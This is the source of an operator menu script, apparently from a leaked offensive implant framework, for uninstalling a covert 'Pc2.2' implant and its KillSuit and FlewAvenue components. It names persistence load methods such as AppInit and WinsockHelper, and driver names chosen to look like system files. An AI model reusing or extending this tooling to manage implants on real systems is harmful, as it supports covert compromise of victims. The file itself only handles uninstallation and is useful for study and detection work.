435 lines
No EOL
11 KiB
Text
435 lines
No EOL
11 KiB
Text
|
|
@include "_Arrays.dsi";
|
|
@include "_LpHelperFunctions.dsi";
|
|
@include "_Menu.dsi";
|
|
@include "_VersionChecks.dsi";
|
|
|
|
@echo off;
|
|
|
|
string $arch, $os;
|
|
if (!_GetArch($arch) || !_GetOsFamily($os))
|
|
{
|
|
echo("* Failed to get ARCH + OS for uninstall", ERROR);
|
|
return false;
|
|
}
|
|
|
|
string %params;
|
|
_AppendString(%params{'loadMethods'}, "WinsockHelper");
|
|
if ($arch == "i386")
|
|
{
|
|
_AppendString(%params{'loadMethods'}, "UtilityBurst");
|
|
}
|
|
if (`script _IsKisuAvailable.dss -project DeMi -quiet`)
|
|
{
|
|
_AppendString(%params{'loadMethods'}, "KillSuit");
|
|
}
|
|
_AppendString(%params{'loadMethods'}, "AppInit");
|
|
|
|
_AppendString(%params{'commsTypes'}, "Winsock");
|
|
_AppendString(%params{'commsTypes'}, "FlewAvenue");
|
|
|
|
# setup defaults
|
|
%params{'project'} = "Pc2.2";
|
|
%params{'loadChoice'} = %params{'loadMethods'}[0];
|
|
%params{'commsChoice'} = %params{'commsTypes'}[0];
|
|
%params{'nopause'} = "true";
|
|
%params{'arch'} = $arch;
|
|
%params{'os'} = $os;
|
|
%params{'driverName'} = "perfnw";
|
|
%params{'infoValue'} = "prsecmon";
|
|
|
|
# create menu
|
|
string %menu;
|
|
if (!_CreateMenu(%menu, "%params{'project'} Uninstall", %params{'hmenu'}) || !defined(%params{'hmenu'}) ||
|
|
!_SetHeader(%menu, %params{'hmenu'}, "PcHeader" ) ||
|
|
!_AddSection(%menu, %params{'hmenu'}, "Configuration", %params{'hsConfig'}) || !defined(%params{'hsConfig'}) ||
|
|
!_AddOption(%menu, %params{'hsConfig'}, "Change load method", "ChangeLoadMethod") ||
|
|
!_AddOption(%menu, %params{'hsConfig'}, "Change COMMS type", "ChangeCommsType") ||
|
|
!_AddOption(%menu, %params{'hsConfig'}, "Change loader name", "ChangeLoaderName", true, %params{'hChangeLoader'}) ||
|
|
!_AddOption(%menu, %params{'hsConfig'}, "Change trigger driver name", "ChangeTriggerName", true, %params{'hChangeTrigger'}) ||
|
|
!_AddSection(%menu, %params{'hmenu'}, "KiSu Connection", %params{'kisuConnection'}) || !defined(%params{'kisuConnection'}) ||
|
|
!_AddOption(%menu, %params{'kisuConnection'}, "Connect to PC's KiSu", "ConnectToKiSu", false, %params{'kisuConnection_connect'}) ||
|
|
!_AddOption(%menu, %params{'kisuConnection'}, "Disconnect from KiSu", "DisconnectFromKiSu", false, %params{'kisuConnection_disconnect'}) ||
|
|
!_AddOption(%menu, %params{'kisuConnection'}, "Change to PC's KiSu", "ChangeToKiSu", false, %params{'kisuConnection_change'}) ||
|
|
!_AddOption(%menu, %params{'kisuConnection'}, "Uninstall KiSu", "UninstallKiSu", false, %params{'kisuConnection_uninstall'}) ||
|
|
!_AddSection(%menu, %params{'hmenu'}, "Actions", %params{'hsActions'}) || !defined(%params{'hsActions'}) ||
|
|
!_AddOption(%menu, %params{'hsActions'}, "Perform uninstall", "PerformUninstall"))
|
|
{
|
|
echo("*** Unable to create %params{'project'} menu ***", ERROR);
|
|
return false;
|
|
}
|
|
|
|
return _ExecuteMenu(%menu, %params{'hmenu'}, %params);
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub ChangeCommsType(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
|
|
$cont = true;
|
|
|
|
string $choice;
|
|
if (!_ExecuteSimpleMenu("Choose a Comms type", %params{'commsTypes'}, $choice) || !defined($choice))
|
|
{
|
|
return true;
|
|
}
|
|
|
|
if (defined($choice))
|
|
{
|
|
%params{'commsChoice'} = $choice;
|
|
}
|
|
|
|
if ($choice != "FlewAvenue")
|
|
{
|
|
_ShowOption(%menu, %params{'hChangeTrigger'});
|
|
}
|
|
else
|
|
{
|
|
_HideOption(%menu, %params{'hChangeTrigger'});
|
|
}
|
|
|
|
return true;
|
|
|
|
} /* end ChangeCommsType */
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub ChangeLoadMethod(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
|
|
$cont = true;
|
|
|
|
string $choice;
|
|
if (!_ExecuteSimpleMenu("Choose a load method", %params{'loadMethods'}, $choice) || !defined($choice))
|
|
{
|
|
return true;
|
|
}
|
|
|
|
if (defined($choice))
|
|
{
|
|
%params{'loadChoice'} = $choice;
|
|
}
|
|
|
|
if ($choice == "UtilityBurst")
|
|
{
|
|
_ShowOption(%menu, %params{'hChangeLoader'});
|
|
}
|
|
else
|
|
{
|
|
_HideOption(%menu, %params{'hChangeLoader'});
|
|
}
|
|
|
|
return true;
|
|
|
|
} /* end ChangeLoadMethod */
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub ChangeLoaderName(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
|
|
$cont = true;
|
|
|
|
string $name;
|
|
if (!GetInput("Enter the new loader name", $name, %params{'infoValue'}) || !defined($name))
|
|
{
|
|
return true;
|
|
}
|
|
|
|
%params{'infoValue'} = $name;
|
|
return true;
|
|
|
|
} /* end ChangeLoaderName */
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub ChangeTriggerName(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
|
|
$cont = true;
|
|
|
|
string $name;
|
|
if (!GetInput("Enter the new trigger driver name", $name, %params{'driverName'}) || !defined($name))
|
|
{
|
|
return true;
|
|
}
|
|
|
|
%params{'driverName'} = $name;
|
|
return true;
|
|
|
|
} /* end ChangeTriggerName */
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub PcHeader(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
|
|
$cont = true;
|
|
|
|
_HideOption(%menu, %params{'kisuConnection_disconnect'});
|
|
_HideOption(%menu, %params{'kisuConnection_connect'});
|
|
_HideOption(%menu, %params{'kisuConnection_change'});
|
|
_HideOption(%menu, %params{'kisuConnection_uninstall'});
|
|
|
|
echo "Current Configuration:";
|
|
echo " Load Method : %params{'loadChoice'}";
|
|
if (%params{'loadChoice'} == "UtilityBurst")
|
|
{
|
|
echo " Loader Name : %params{'infoValue'}";
|
|
}
|
|
echo " COMMS Type : %params{'commsChoice'}";
|
|
if (%params{'commsChoice'} != "FlewAvenue")
|
|
{
|
|
echo " Trigger Name : %params{'driverName'}";
|
|
}
|
|
|
|
# check on KiSu connected status
|
|
int $id;
|
|
string $status = "Unknown";
|
|
int $state = WARNING;
|
|
if (GetEnv("_DEMI_KISU_COMMS_ESTABLISHED", $id))
|
|
{
|
|
_ShowOption(%menu, %params{'kisuConnection_disconnect'});
|
|
_ShowOption(%menu, %params{'kisuConnection_uninstall'});
|
|
|
|
# connected -- is it to a PC KiSu?
|
|
if ($id == GetKiSuId())
|
|
{
|
|
$status = "Connected";
|
|
$state = DEFAULT;
|
|
}
|
|
else
|
|
{
|
|
$status = "Connected to non-PC KiSu";
|
|
_ShowOption(%menu, %params{'kisuConnection_change'});
|
|
}
|
|
}
|
|
else
|
|
{
|
|
_ShowOption(%menu, %params{'kisuConnection_connect'});
|
|
$status = "Not connected";
|
|
}
|
|
echo(" KiSu Connection : $status", $state);
|
|
|
|
return true;
|
|
|
|
} /* end PcHeader */
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub PerformUninstall(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
|
|
$cont = true;
|
|
|
|
int $kisuId;
|
|
if (GetEnv("_DEMI_KISU_COMMS_ESTABLISHED", $kisuId) && ($kisuId != GetKiSuId()))
|
|
{
|
|
echo("* You are connected to a non-PC KiSu", WARNING);
|
|
if (!prompt("Do you want to continue?", False))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
|
|
string $menuItems;
|
|
string $cmd;
|
|
string $method = "Trigger Driver";
|
|
string $project = "DmGz";
|
|
string $args = "%params{'driverName'}";
|
|
if (%params{'commsChoice'} == "FlewAvenue")
|
|
{
|
|
$method = "FLAV";
|
|
$project = "FlAv";
|
|
$args = "";
|
|
}
|
|
else
|
|
{
|
|
$args = "-driver $args";
|
|
}
|
|
|
|
_AppendString($menuItems, "Do Not Uninstall $method");
|
|
_AppendString($cmd, "");
|
|
|
|
_AppendString($menuItems, "Uninstall $method Normally");
|
|
_AppendString($cmd, "python Install/_Pc2.2Uninstall.py -project $project -args \"$args -method dsz\"");
|
|
|
|
_AppendString($menuItems, "Uninstall $method from KISU");
|
|
_AppendString($cmd, "python Install/_Pc2.2Uninstall.py -project $project -args \"$args -method demi\"");
|
|
|
|
string $selectedString;
|
|
int $selectedIndex;
|
|
if (!_ExecuteSimpleMenu("Uninstall $method?", $menuItems, $selectedString, $selectedIndex))
|
|
{
|
|
echo("* Failed to get choice", ERROR);
|
|
return false;
|
|
}
|
|
if (defined($selectedIndex))
|
|
{
|
|
if ($cmd[$selectedIndex] != "")
|
|
{
|
|
if (!`$cmd[$selectedIndex]`)
|
|
{
|
|
echo("* Failed to uninstall $method", ERROR);
|
|
pause;
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (%params{'loadChoice'} == "UtilityBurst")
|
|
{
|
|
# UtilityBurst install
|
|
if (!`script Install/_Uninstall.dss -project UtBu -args "%params{'infoValue'}"`)
|
|
{
|
|
echo("* Failed to uninstall PC", ERROR);
|
|
pause;
|
|
return true;
|
|
}
|
|
}
|
|
else if (%params{'loadChoice'} == "AppInit")
|
|
{
|
|
# AppInit install
|
|
if (!`script AppInit/_Pc2.2Uninstall.dss -project Pc2.2`)
|
|
{
|
|
echo("* Failed to uninstall PC", ERROR);
|
|
pause;
|
|
return true;
|
|
}
|
|
}
|
|
else if (%params{'loadChoice'} == "WinsockHelper")
|
|
{
|
|
# WinsockHelper install
|
|
if (!`script WinsockHelp/_Pc2.2Uninstall.dss -project Pc2.2`)
|
|
{
|
|
echo("* Failed to uninstall PC", ERROR);
|
|
pause;
|
|
return true;
|
|
}
|
|
}
|
|
else if (%params{'loadChoice'} == "KillSuit")
|
|
{
|
|
# WinsockHelper install
|
|
if (!`python Install/winnt/KiSu/_Uninstall.py -project Pc2.2 -args ""`)
|
|
{
|
|
echo("* Failed to %params{'action'} PC", ERROR);
|
|
pause;
|
|
return true;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
echo("* Unknown load type (%params{'loadChoice'})", ERROR);
|
|
pause;
|
|
return true;
|
|
}
|
|
|
|
return true;
|
|
|
|
} /* end PerformUninstall */
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub ConnectToKiSu(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
$cont = true;
|
|
echo "Connecting to KiSu installation";
|
|
if (`kisu_connect -type pc`)
|
|
{
|
|
echo(" SUCCESS", GOOD);
|
|
}
|
|
else
|
|
{
|
|
echo(" FAILURE", ERROR);
|
|
pause;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub ChangeToKiSu(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
$cont = true;
|
|
|
|
bool $bPause = false;
|
|
echo "Disconnecting from KiSu installation";
|
|
if (`kisu_disconnect`)
|
|
{
|
|
echo(" SUCCESS", GOOD);
|
|
Sleep(3000);
|
|
}
|
|
else
|
|
{
|
|
echo(" FAILURE", ERROR);
|
|
$bPause = true;
|
|
}
|
|
|
|
|
|
echo "Connecting to KiSu installation";
|
|
if (`kisu_connect -type pc`)
|
|
{
|
|
echo(" SUCCESS", GOOD);
|
|
}
|
|
else
|
|
{
|
|
echo(" FAILURE", ERROR);
|
|
$bPause = true;
|
|
}
|
|
|
|
if ($bPause)
|
|
{
|
|
pause;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub DisconnectFromKiSu(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
$cont = true;
|
|
echo "Disconnecting from KiSu installation";
|
|
if (`kisu_disconnect`)
|
|
{
|
|
echo(" SUCCESS", GOOD);
|
|
Sleep(3000);
|
|
}
|
|
else
|
|
{
|
|
echo(" FAILURE", ERROR);
|
|
pause;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub(int) GetKiSuId()
|
|
{
|
|
# defined in the .xml file for KISU
|
|
return 0x7a43e1fa;
|
|
}
|
|
|
|
#------------------------------------------------------------------------------#
|
|
sub UninstallKiSu(REF string %menu, REF string %params, IN string $key, OUT bool $cont)
|
|
{
|
|
$cont = true;
|
|
|
|
int $kisuId;
|
|
if (GetEnv("_DEMI_KISU_COMMS_ESTABLISHED", $kisuId) && ($kisuId != GetKiSuId()))
|
|
{
|
|
echo("* You are connected to a non-PC KiSu", WARNING);
|
|
if (!prompt("Do you want to continue?", False))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
|
|
echo "Uninstall KiSu installation";
|
|
if (`kisu_uninstall`)
|
|
{
|
|
echo(" SUCCESS", GOOD);
|
|
`stop kisu_core`;
|
|
}
|
|
else
|
|
{
|
|
echo(" FAILURE", ERROR);
|
|
pause;
|
|
}
|
|
|
|
return true;
|
|
} |